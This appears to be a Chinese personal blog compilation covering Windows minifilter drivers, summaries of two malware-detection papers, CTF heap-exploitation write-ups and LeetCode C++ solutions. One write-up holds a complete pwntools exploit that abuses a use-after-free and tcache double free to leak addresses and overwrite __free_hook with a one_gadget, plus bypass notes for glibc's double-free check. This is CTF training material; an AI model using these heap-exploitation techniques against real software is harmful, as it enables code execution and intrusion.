hazel'blog

思路

打开文件，得到文件大小 ——> 申请相应的内存空间 ——> 加载exe到内存——> 修复重定位表——> 填写导入表

过滤驱动开发程序可以修改已有驱动程序功能，也可以对数据进行过滤加密。上层过滤驱动是指附加在FDO下面的过滤驱动程序，下层反之。

文件过滤驱动将挂载在磁盘驱动之上，将所有发往磁盘驱动的IRP拦截，并有选择的过滤这些IRP。

文件系统是访问文件的I/O操作的目标。Windows支持多个文件系统，最著名的是NTFS，其本机文件系统。文件系统过滤是驱动程序可以拦截发送到文件系统的调用的机制。

加载和卸载

微过滤驱动的加载与加载一个标准的微软驱动一样，但是卸载不同。加载使用用户模式下的FilterLoad函数，将驱动名字作为参数传递，内部调用的是内核FltLoadFilter函数。

下载操作调用的函数用户模式下是FilterUnload，内核模式下FltUnloadFilter，此操作需要与加载驱动有用样的权限，但不能保证成功，因为调用了微过滤器的过滤器卸载回调函数，这可能会使请求失败，从而使驱动程序保留在系统中。

在开发的时候一般采用fltmc.exe实现过滤驱动的加载与卸载（fltmc load/unload myfilter）

除此之外，还包括很多的命令，比如fltmc instances可以查看每个驱动的实例详情

初始化

文件系统微过滤驱动同样有一个DriverEntry，驱动需要调用FltRegisterFilter注册为一个微过滤驱动，然后调用FltStartFiltering启动过滤操作。该驱动是不需要设置自己的派遣函数的，因为驱动程序不是直接在I/O路径中。

下面是FltRegisterFilter这个函数的详细信息，其中参数二详细结构如第二张图（这里只截取了前三个参数，其余的具体使用的时候再找资料）

还有一个参数很重要。这是一个指向FLT_OPERATION_REGISTRATION结构数组的指针，每个结构都指定感兴趣的操作以及驱动程序希望调用的前/后回调。

管道和邮件槽

命名管道是一种从服务器到一个或多个客户端的单向或双向通信机制，它被实现为一个文件系统(npfs.sys)。WindowsAPI提供了创建管道服务器和客户端的特定功能。CreateNamedPipe函数可用于创建一个命名的管道服务器，客户端可以使用普通的CreateFileAPI以这个形式：\\<server>\pipe\<管道名>的文件名进行连接。

直接访问卷（DAS/DAX）

直接访问卷是windows10 1607添加的一个新特性，它提供了对一种基于直接访问底层字节数据的新型存储的支持。这被被称为存储类内存的新型存储硬件所支持——这是一种具有类似RAM性能的非易失性存储介质。

操作回调注册(Operation callback register)

一个微过滤器驱动程序必须指示它想要执行的操作。这是在微过滤器注册时间提供的，带有一个FLT_OPERATION_REGISTRATION结构的数组，定义如下：

该操作本身就被定义为一个Major Function(和IRP_MJ_CREATE等一样)，但是它并没有一个真正的Major Function的派遣函数。过滤器管理器提供的这个抽象有助于将微过滤器与知道操作的确切来源隔离开来。它可以是一个真正的IRP，也可以是另一个被抽象为IRP的操作。此外，文件系统还支持另一种接收请求的机制，称为Fast I/O。快速I/O用于具有缓存文件的同步I/O。快速I/O请求直接在用户缓冲区和系统缓存之间传输数据，从而绕过了文件系统和存储驱动程序堆栈，从而避免了不必要的开销。例如，NTFS文件系统驱动程序支持快速I/O。

快速I/O的初始化方法是通过分配一个FAST_IO_DISPATCH结构（包含一长串回调），填充它，然后将DRIVER_OBJECT的FastIoDispatch成员设置为这个结构。

高度

文件系统微过滤器必须有一个高度，指示它们在文件系统过滤器层次结构中的相对“位置”。一个微过滤器的高度值是非常重要的。首先，高度的值不是作为微过滤器注册的一部分提供的，而是从注册表中读取的。安装驱动程序时，其高度被写入注册表的适当位置。

关于文件加密

文件系统过滤驱动在I/O操作到达文件系统之前拦截I/O操作（来自应用程序和系统本身）。这允许他们在文件系统捕获它们之前监控、跟踪、管理、操作甚至允许或拒绝I/O操作。

文档加密软件的核心逻辑：在数据写入到磁盘之前，被透明加密了，从磁盘中读取返回到用户程序之前，又被透明解密了。

对于杀毒软件的文件过滤驱动，通常会拦截文件的打开请求并挂起他们，同时过滤驱动或者应用层运行的相关程序扫描正在打开的文件是否有病毒。如果发现任何病毒，可以取消打开请求。如果没有发现病毒，则可以允许打开请求正常完成。

标准minifilter

标准minifilter是Windows文件系统常见的过滤驱动，往往用来监控或跟踪文件系统数据。大多数杀毒软件都会使用标准微过滤驱动。

隔离minifilter

隔离minifilter也是Windows文件系统的过滤驱动，它将文件数据的视图与相关文件的底层真实数据隔离开。隔离minifilter的典型使用场景是文档加密产品的透明加密和透明解密的实现。隔离minifilter使用“相同堆栈”的概念，并通过为每个视图提供独特的缓存来提供不同的视图。

minifilter的回调

当minifilter向过来管理器注册时，除了一些基本的设置，它还可以选择接收指定的I/O操作的PreOperation和PostOperation回调。PreOperation回调在指定类型的每个I/O操作被传递到文件系统之前被调用。PostOperation则在文件系统处理特定类型的I/O操作后调用。

Pre回调函数

1
2
3
4

FLT_PREOP_CALLBACK_STATUS SomePreOperation (
_Inout_ PFLT_CALLBACK_DATA Data,
_In_ PCFLT_RELATED_OBJECTS FltObjects,
_Outptr_ PVOID *CompletionContext);

几个返回值如下：

FLT_PREOP_COMPLETE：表示当前的过滤驱动完

成了本次I/O操作，过滤管理器就不再往下发送本次I/O请求，而是依次向上调用post回调函数。这种情况下IoStatus.Status的值就是最终I/O操作的执行结果（不能是STATUS_PENDING)。

FLT_PREOP_SUCCESS_NO_CALLBACK/FLT_PREOP_SUCCESS_WITH_CALLBACK：这个返回值表示处理成功，让过滤管理器去做自己的事，区别在于WITH_CALLBACK的返回值会标明需要回调post函数。而NO_CALLBACK的则标明不需要。

FLT_PREOP_PENDING：顾名思义，表明当前过滤驱动将本次I/O操作挂起了，过滤管理器需要等待当前驱动调用FltCompletePendedPreOperation函数后才会继续本次I/O操作处理流程。注意只有对于基于IRP中断的I/O操作（用FLT_IS_IRP_OPERATION宏测试）才可以挂起。

FLT_PREOP_DISALLOW_FASTIO：只有操作是fast I/O操作（用FLT_IS_FASTIO_OPERATION（Data）进行测试）时才可以返回这个值，表明过滤驱动不允许fast I/O操作继续执行。因此过滤管理器不会再下发该请求，而是依次向上调用post回调函数。这种情况下不需要设置IoStatus.Status的值，过滤管理器会自动设置这个值。

FLT_PREOP_SYNCHRONIZE：这个返回值表明处理未完成，保持当前过滤驱动上下文线程环境，交由过滤管理器继续下发后调用post回调函数后继续处理。也只对基于IRP中断的操作有效，并且必须有post函数，如果不是基于IRP中断的，就会和FLT_PREOP_SUCCESS_WITH_CALLBACK一样。注意：对于Create操作，不应该返回这个值，因为文件管理器已经为这个操作进行同步了。此外对于同步的读和写操作，如果返回这个值会严重影响驱动和系统性能。

摘要

近年来，随着加密货币价格的上涨，恶意加密挖矿软件的数量显著增加。凭借其强大的传播能力，加密挖矿恶意软件可以在不知不觉中占据我们的资源，损害我们的利益，并损害更多的合法资产。然而，虽然目前传统的基于规则的恶意软件检测方法的误报率较低，但在面对大量新出现的恶意软件时，其检出率相对较低。尽管常见的基于机器学习或基于深度学习的方法具有一定的学习和检测未知恶意软件的能力，但它们所学习的特征是单一的和独立的，不能自适应地学习。针对上述问题，提出了一种具有多模态特征多输入的深度学习模型，该模型可以同时接受不同维度上的数字特征和图像特征。该模型依次包括三个子模型的并行学习和另一个特定子模型的集成学习。这四个子模型可以在不同的设备上并行处理，并可以进一步应用于边缘计算环境。该模型可以自适应地学习多模态特征并输出预测结果。该模型的检出率高达97.01%，误报率仅为0.63%。实验结果证明了该方法的优点和有效性。

论文贡献

• 提取了软件在不同模式下的特征，使样本信息描述更加全面。
• 所提出的模型分别学习不同模式的特征，并优化各模型的效果。
• 可以将单个模型作为一个块纳入整体模型，每个块的输出可以进行拼接和变形，并可以输出下一阶段的深度学习模型进行进一步的学习和预测

特征主要有灰度图像特征、字节/熵直方图，传统特征工程。使用三种深度学习子模型来接受这三种模式的特征，并使用另一个深度学习子模型来学习和预测上述三个子模型的输出。换句话说，整体的深度学习模型实际上包含了四个具有不同功能的深度学习模块，可以单独或同时执行。

方法模型

对于灰度图像的特征，作者使用EfficientNet，这是一个集成尺度方法的多维模型，是图像图像分类任务的最佳模型之一。通过简单的设计理念，它可以达到良好的最终效果。缩放方法和神经结构搜索(NAS)是EfficientNet的核心思想。

在字节直方图和熵直方图的学习模块中，作者设计了一个基于CNN的基本模型。通过卷积、批处理归一化、池化等函数，了解了直方图的特征。

对于利用专业领域知识提取的特征工程向量，作者使用基于Bi-GRU的深度学习模型进行学习。将特征向量视为序列数据。Bi-GRU可以同时从两个方向上学习序列特征。

集成学习块

在获得三种特征提取模型提取的特征后，需要对它们进行拼接和变换。首先，将三个维数为（512,1）、（256,1）和（256,1）的向量连接起来，得到一个维数为（1024,1）的向量。然后，将获得的向量重塑为一个大小为（32,32）的类图像向量。最后，将其输入到基于效率网-b0的模型中，得到最终的预测结果。

边缘计算

该模型由四个部分组成，每个部分都有不同的计算成本和所需的资源。边缘计算与云技术相结合，可以大大提高模型的效率。从挖矿恶意软件到这三个功能的过程可以通过边缘设备独立完成，然后将这些功能上传到云端。对于硬件配置较高的设备，甚至可以在边缘设备上完成第一阶段的模型预测任务。

总结

本文采用静态分析方法提取了三种不同的特征：灰度图像特征、字节/熵直方图特征和特征工程。通过对特征的集成学习，在控制误报率的情况下，取得了良好的效果。该方法得益于对不同模态特征的同时处理和自适应处理，避免了传统手工评分的盲目性。在恶意挖掘样本的检测任务中，基于多模态特征的深度学习模型的性能为未来的多场景应用提供了一种新的解决方案。结合边缘计算和云计算等技术可以实现模型在部署和服务上更有效。

然而，静态分析也有其固有的缺点。它很难处理混淆和去壳的样本，程序的执行甚至可以产生额外的行为和特征。动态分析既可以更好地提取混淆部分或潜在部分，又可以检测程序的特殊行为和资源占用。静态分析和动态分析并不是相互排斥的，而是互补的。因此，当条件允许时，两者的结合将会更好

摘要

作为发起网络攻击的工具，不断增加的恶意软件变体对互联网络社区构成了重大威胁。基于传统机器学习技术的检测方法需要大量的样本来进行训练。然而，在现实世界中，如在新攻击出现的早期阶段，只能获得少量的恶意样本。在上述场景中应用数据密集型的传统方法会导致严重的过拟合问题。因此，需要进行少样本检测。在论文中，提出了UMVD-FSL，一个基于少样本学习的框架，用小的数据检测不可见的恶意软件变体。我们从由恶意软件变体和良性应用程序生成的网络流量数据开始，然后将它们转换为灰度图像。基于原型的少样本学习模型以灰度图像作为输入，利用元训练来推广元学习器，以适应新的任务。当出现一个新的样本时，该模型通过计算到每个类的原型表示的距离来执行分类。

论文贡献

• 提出了一种基于少样本学习的方法，在不断变化的网络环境中检测看不见的恶意软件变体。方法结合了网络流量数据的图形表示和基于原型的少样本学习框架。据作者所知，这是通过分析不同恶意软件的网络流量数据，来解决在新的恶意软件出现的初始阶段缺乏训练样本的问题的第一个解决方案
• 所提出的方法不使用与内容相关的信息，因此它不仅适用于未加密的流量分析场景，而且可以满足当前日益增长的对加密流量分析的需求。同时，它满足了网络安全领域的一个典型和实际案例的要求，即当难以或不可能获得足够的带有监督信息的例子时，需要避免模型的过拟合问题。
• 该方法在所有子任务上的性能最好。当用于检测来自同一网络环境的恶意软件变异时，每个类只有5个训练样本，该方法可以达到高达97.68%的准确率和97.10%的f1值。当用于检测来自不同网络环境的恶意软件变异时，我们的方法的最高精度和相应的f1值分别为97.65%和96.95%。

特征主要有灰度图像特征、字节/熵直方图，传统特征工程。使用三种深度学习子模型来接受这三种模式的特征，并使用另一个深度学习子模型来学习和预测上述三个子模型的输出。换句话说，整体的深度学习模型实际上包含了四个具有不同功能的深度学习模块，可以单独或同时执行。

方法模型

总结

该文采用了一种基于少样本学习的方法，UMVD-FSL，用于在给定有限数量的恶意样本时进行看不见的恶意软件变异检测。我们将由恶意软件变体和良性应用程序生成的网络流量数据的图形表示与一个基于原型的少样本学习框架相结合。我们首先使用数据预处理，将原始流量数据转换为灰度图像，作为我们的少样本学习模型的输入。之后，该模型采用元学习作为训练策略。接下来，它使用神经网络自动从灰度图像中提取特征，并将嵌入空间中来自同一类的样本的平均值作为相应类的原型。

论文认为认为一个新的样本属于对应类的原型与样本之间距离最小的类。为了验证测框架和比较方法的普遍性和鲁棒性，传统互联网和机器人移动平台等两个典型场景的真实数据集上进行了一系列实验。

保护机制

一般来说遇到的题目保护机制都是全开，其中针对堆利用的主要是PIE(ALSR)和Full Relro，针对前者，需要泄露代码段基址才能利用存储在bss段上的堆指针；针对后者，意味着我们无法修改got表来让其他函数got表指向system。got表无法修改的情况下，往往利用一些hook+onegadget来进行利用。

malloc_hook

该函数是在malloc函数调用前会执行的钩子函数。在程序中，通常malloc_hook的函数地址对应值为0，也就是不会执行任何东西，我们在利用过程中将其覆盖为onegadget地址，这样再执行一次malloc就会执行onegadget。

bof

一道64位的简单栈溢出，system()和bin/sh都有

exp

old school

漏洞点在下图，off-by-null

因为add函数中最多申请8个堆块，所以不能采取传统的填充tcache的方式。

总结一下程序功能，最多分配9个chunk，chunk大小不能超过0x500,申请大小小于等于0x410的时候，统一分配0x108大小的堆

漏洞利用

先利用off-by-null修改C堆块的Prev_size以及Prev_inuse

free A和C堆块，会触发堆合并机制，合并后放入unsorted bin中

此时可以通过分割unsorted bin来泄露libc（通过前面的步骤我们可以控制还在unsorted中的堆块B）

用IDA分析libc-2.27.so文件获得main_arena与libc偏移，在malloc_trim中即可获得

再通过tcache的fd指针引入__free_hook。最后写system到__free_hook。释放有/bin/sh字符串的chunk

free后tcache:2->4,申请后tacahe：free_hook -> 4，然后申请2次，就可以申请到指向free hook的内存

二叉树-二叉树的层序遍历

题目链接

如果要自底向上遍历，可以直接将该结果reverse一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

class Solution {
public:
    vector<vector<int>> levelOrder(TreeNode* root) {
        queue<TreeNode*>que;
        if(root != NULL) que.push(root);
        vector<vector<int>> res;
        while(!que.empty()){
            int size = que.size();
            vector<int> vec;

            for(int i = 0; i < size; i++){
                TreeNode* node = que.front();
                que.pop();
                vec.push_back(node->val);
                if(node->left)que.push(node->left);
                if(node->right)que.push(node->right);
            }
            res.push_back(vec);
        }
        return res;
    }
};

静态分析

一共主要有四个功能

allocate

edit

show

delete

这里对free后的指针没有置零，所以有UAF漏洞可以利用

利用分析

先把功能函数写好，调试一下

可以看到在tcache之前会有维持一个堆块，它会记录tcache的一些信息。圈起来的地方从后往前数，每两位分别代表0x20， 0x30，0x40， 0x50，0x60, 0x70…堆块的数量，图中0x70的位置就是1。然后从0x55e182cbd050处开始记录0x20开始的堆块大小的地址，如图所示，0x70大小堆块的地址就是0x000055e182cbd260

该堆块的key值如下

可以看一下知识点部分的绕过知识，其实我们修改key值直接不进入那个检测循环就可以绕过

泄露基址

查看一下堆块内容，因为double free后其fd指针指向的是自己的地址，所以由此可以泄露堆块基址其中圈起来的地方记录的就是堆块的地址，如果将该地址打印出来我们就知道了该堆块地址，进而知道堆块基址

到这里就泄露了堆块基址，接下来就是泄露libc基址，因为首先程序控制了我们申请堆块的大小,我们需要申请一个释放后能放入unsortedbin的堆块，就需要考虑到tcache有个最前面的控制堆块，大小是0x251。

这时可以修改fd指针让其指向控制堆块（+0x10是因为tcache中fd指向的直接就是数据区），然后再将堆块申请回来，修改该bin上的chunk数量为7，然后再将该堆块free掉，该堆块就会放到unsortedbin中。

free之后

查看一下（在前面一章有提到过有关mainarea的知识）

one_gadget如下

利用

填充的部分意思是，将0x20大小的堆块填充数量为3，将堆块首地址改为free_hook地址，所以当我们申请一个堆块的时候，就会将free_hook分配给我们

在将其地址赋值为one_gadget之前是空的

所以将其赋值为one_gadget后就会进入到该函数，执行one_gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

from pwn import *

context.log_level = 'debug'

binary = './lonelywolf'
local = 1
if local:
    p = process(binary)
else:
    p = remote('')
elf = ELF(binary)
libc = elf.libc

def add(index, size):
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Size: ')
    p.sendline(str(size))


def edit(index, content):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Content: ')
    p.sendline(content)

def show(index):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(index))

def free(index):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    
gdb.attach(p)

add(0, 0x68)
free(0)
edit(0,'a'*0x10)
free(0)
show(0)

p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8, b"\x00"))-0x260
success('heap_base->{}'.format(hex(heap_base)))

edit(0, p64(heap_base+0x10))#fd point control chunk

add(0, 0x68)
add(0, 0x68) # control chunk
edit(0, '\x00'*0x23 + '\x07')
free(0)
show(0)
p.recvuntil('Content: ')
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - 0x10  - libc.sym['__malloc_hook']
one_gadget = libc_base+0x10a41c
free_hook = libc_base + libc.sym['__free_hook']
success('libc_base->{}'.format(hex(libc_base)))

edit(0, b'\x03' +b'\x00'*0x3f + p64(free_hook))

add(0, 0x18)

edit(0,p64(one_gadget))

free(0)
p.interactive()

知识点

tcache

1. tcache机制的主体是tcache_perthread_struct结构体，其中包含单链表tcache_entry
2. 单链表tcache_entry，也即tcache Bin的默认最大数量是64，在64位程序中申请的最小chunk size为32，之后以16字节依次递增，所以size大小范围是0x20-0x410，也就是说我们必须要malloc size≤0x408的chunk
3. 每一个单链表tcache Bin中默认允许存放的chunk块最大数量是7
4. tcache指针指向的是内容位置，管理结构体前几排记录大小，后几排记录不同大小链表的头号chunk地址
5. 在申请chunk块时，如果tcache Bin中有符合要求的chunk，则直接返回；如果在fastbin中有符合要求的chunk，则先将对应fastbin中其他chunk加入相应的tcache Bin中，直到达到tcache Bin的数量上限，然后返回符合符合要求的chunk；如果在smallbin中有符合要求的chunk，则与fastbin相似，先将双链表中的其他剩余chunk加入到tcache中，再进行返回
6. 在释放chunk块时，如果chunk size符合tcache Bin要求且相应的tcache Bin没有装满，则直接加入相应的tcache Bin
7. 与fastbin相似，在tcache Bin中的chunk不会进行合并，因为它们的pre_inuse位会置成1

tcache为了检查doublefree，增加了如下代码段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
	/* Check to see if it's already in the tcache.  */
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free.  However, we don't 100%
	   trust it (it also matches random payload data at a 1 in
	   2^<size_t> chance), so verify it's not an unlikely
	   coincidence before aborting.  */
	if (__glibc_unlikely (e->key == tcache))////检测被free的chunk bk是否指向tcache 
	  {
	    tcache_entry *tmp;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = tmp->next)
	      if (tmp == e)////遍历对应tc_idx的tcache查看要free的chunk在链表中是否存在
		malloc_printerr ("free(): double free detected in tcache 2");
	    /* If we get here, it was a coincidence.  We've wasted a
	       few cycles, but don't abort.  */
	  }

	if (tcache->counts[tc_idx] < mp_.tcache_count)
	  {
	    tcache_put (p, tc_idx);
	    return;
	  }
      }
  }
#endif

可以看到，这里会判断tcache的key字段的值。而每一个被释放的tcache，其key都会按照如下代码，被设置为固定的值，从而尽可能避免了double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

**2.27-2.31对double free的检测都很简单,即先检查释放的chunk 的bk不能指向tcache结构体，且不能在对应tcache里存在

1

(e->key!=tcache_struct)&&(e not in tcache->entries[tc_idx] )

绕过:

1.但是我们如果有uaf 可以修改bk，直接不进入这个判断语句就行 if (__glibc_unlikely (e->key == tcache)

如果可以修改fd 直接可以tcache 用poisoning不用什么double free

2.利用off by null、off by one 修改chunk的size 使得进入错的tcache[tc_idx]

tcache 管理是通过chunk的size 计算出对应的tc_idx，进而找到管理对应大小chunk的tcache链表

来源：Tcache attack学习记录

二叉树-递归遍历与迭代遍历

递归三要素

1. 确定递归函数的参数和返回值： 确定哪些参数是递归的过程中需要处理的，那么就在递归函数里加上这个参数， 并且还要明确每次递归的返回值是什么进而确定递归函数的返回类型。
2. 确定终止条件： 写完了递归算法, 运行的时候，经常会遇到栈溢出的错误，就是没写终止条件或者终止条件写的不对，操作系统也是用一个栈的结构来保存每一层递归的信息，如果递归没有终止，操作系统的内存栈必然就会溢出。
3. 确定单层递归的逻辑： 确定每一层递归需要处理的信息。在这里也就会重复调用自己来实现递归的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

class Solution {
public:
    void traversal(TreeNode* cur, vector<int>& vec){
        
        if(cur == NULL)return;
        //前序
        vec.push_back(cur->val);
        traversal(cur->left, vec);
        traversal(cur->right, vec);
        //中序
        //traversal(cur->left, vec);  // 左
        //vec.push_back(cur->val);    // 中
        //traversal(cur->right, vec); // 右
    	
        //后序
        //traversal(cur->left, vec);  // 左
        //traversal(cur->right, vec); // 右
    	//vec.push_back(cur->val);    // 中
    }
    vector<int> preorderTraversal(TreeNode* root) {
        vector<int>res;
        traversal(root,res);
        return res;
    }
};

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

class Solution {
public:
    vector<int> preorderTraversal(TreeNode* root) {
        stack<TreeNode*> st;
        vector<int> res;
        if(root == NULL) return res;
        st.push(root);
        while(!st.empty()){
            TreeNode* node = st.top();
            st.pop();
            res.push_back(node->val);
            if (node->right) st.push(node->right);//如果是后序遍历就将这两行调换
            if (node->left) st.push(node->left);
        }
        //后序遍历还需要将结果反转，就是左中右的顺序了
        //reverse(res.begin(), res.end());
         return res;
    }
};

迭代的中序遍历需要用到指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

class Solution {
public:
    vector<int> preorderTraversal(TreeNode* root) {
        stack<TreeNode*> st;
        vector<int> res;
        TreeNode* cur = root;
        while(cur != NULL || !st.empty()){
            if(cur != NULL){
                st.push(cur);
                cur = cur->left;
            }
            else{
                cur = st.top();
                st.pop();
                res.push_back(cur->val);
                cur = cur->right;
            }

        }
        return res;
    }
};

字符串-前 K 个高频元素

题目链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

class Solution {
public:
    class myCmp{
    public:
        bool operator()(pair<int, int>& m, pair<int, int>& n){
            return m.second > n.second;
        }
    };
    vector<int> topKFrequent(vector<int>& nums, int k) {
        unordered_map<int, int>map;
        for(int i = 0; i < nums.size(); i++)map[nums[i]]++;

        priority_queue<pair<int, int>, vector<pair<int, int>>, myCmp> pri_que;
        for (unordered_map<int, int>::iterator it = map.begin(); it != map.end(); it++) {
            pri_que.push(*it);
            if (pri_que.size() > k) 
                pri_que.pop();
            
        }
        vector<int> result(k);
        for (int i = k - 1; i >= 0; i--) {
            result[i] = pri_que.top().first;
            pri_que.pop();
        }
        return result;
    }
};